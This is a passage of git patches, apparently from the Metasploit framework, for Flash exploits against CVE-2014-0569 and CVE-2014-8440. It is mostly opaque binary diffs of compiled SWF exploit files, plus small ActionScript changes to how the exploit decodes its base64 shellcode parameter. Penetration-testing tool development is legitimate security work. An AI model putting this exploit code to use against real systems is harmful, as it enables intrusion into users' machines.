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 W?260(Dkz>#v4^Bjr6T{@G--hXMqkSS diff --git a/external/source/exploits/CVE-2014-0569/Main.as b/external/source/exploits/CVE-2014-0569/Main.as index 5a7003b256..9c482e52a0 100755 --- a/external/source/exploits/CVE-2014-0569/Main.as +++ b/external/source/exploits/CVE-2014-0569/Main.as @@ -31,10 +31,13 @@ package { var i:uint = 0 var j:uint = 0 - - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - payload = b64.toByteArray().toString(); - + + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray().toString() + for (i = 0; i < defrag.length; i++) { defrag[i] = new ByteArray() defrag[i].length = BYTE_ARRAY_SIZE From da362914e23dada7da61a1ee6ed8d4c9caba61b3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 15:50:31 -0500 Subject: [PATCH 0200/1013] Fix indentation --- external/source/exploits/CVE-2014-0569/Main.as | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/external/source/exploits/CVE-2014-0569/Main.as b/external/source/exploits/CVE-2014-0569/Main.as index 9c482e52a0..4ac48e2cec 100755 --- a/external/source/exploits/CVE-2014-0569/Main.as +++ b/external/source/exploits/CVE-2014-0569/Main.as @@ -31,13 +31,12 @@ package { var i:uint = 0 var j:uint = 0 - + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray().toString() - + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray().toString() for (i = 0; i < defrag.length; i++) { defrag[i] = new ByteArray() defrag[i].length = BYTE_ARRAY_SIZE From 5c8c5aef376fc1face33f6f9d66b81599b51e7a3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 16:05:08 -0500 Subject: [PATCH 0201/1013] Fix CVE-2014-8440 --- data/exploits/CVE-2014-8440/msf.swf | Bin 18605 -> 18612 bytes external/source/exploits/CVE-2014-8440/Msf.as | 7 +++++-- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/data/exploits/CVE-2014-8440/msf.swf b/data/exploits/CVE-2014-8440/msf.swf index 823490c7e760000194e33de6d696629415e0befb..c6e47d226d51239e078fece012f402ad019ec62f 100755 GIT binary patch delta 18475 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 z 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 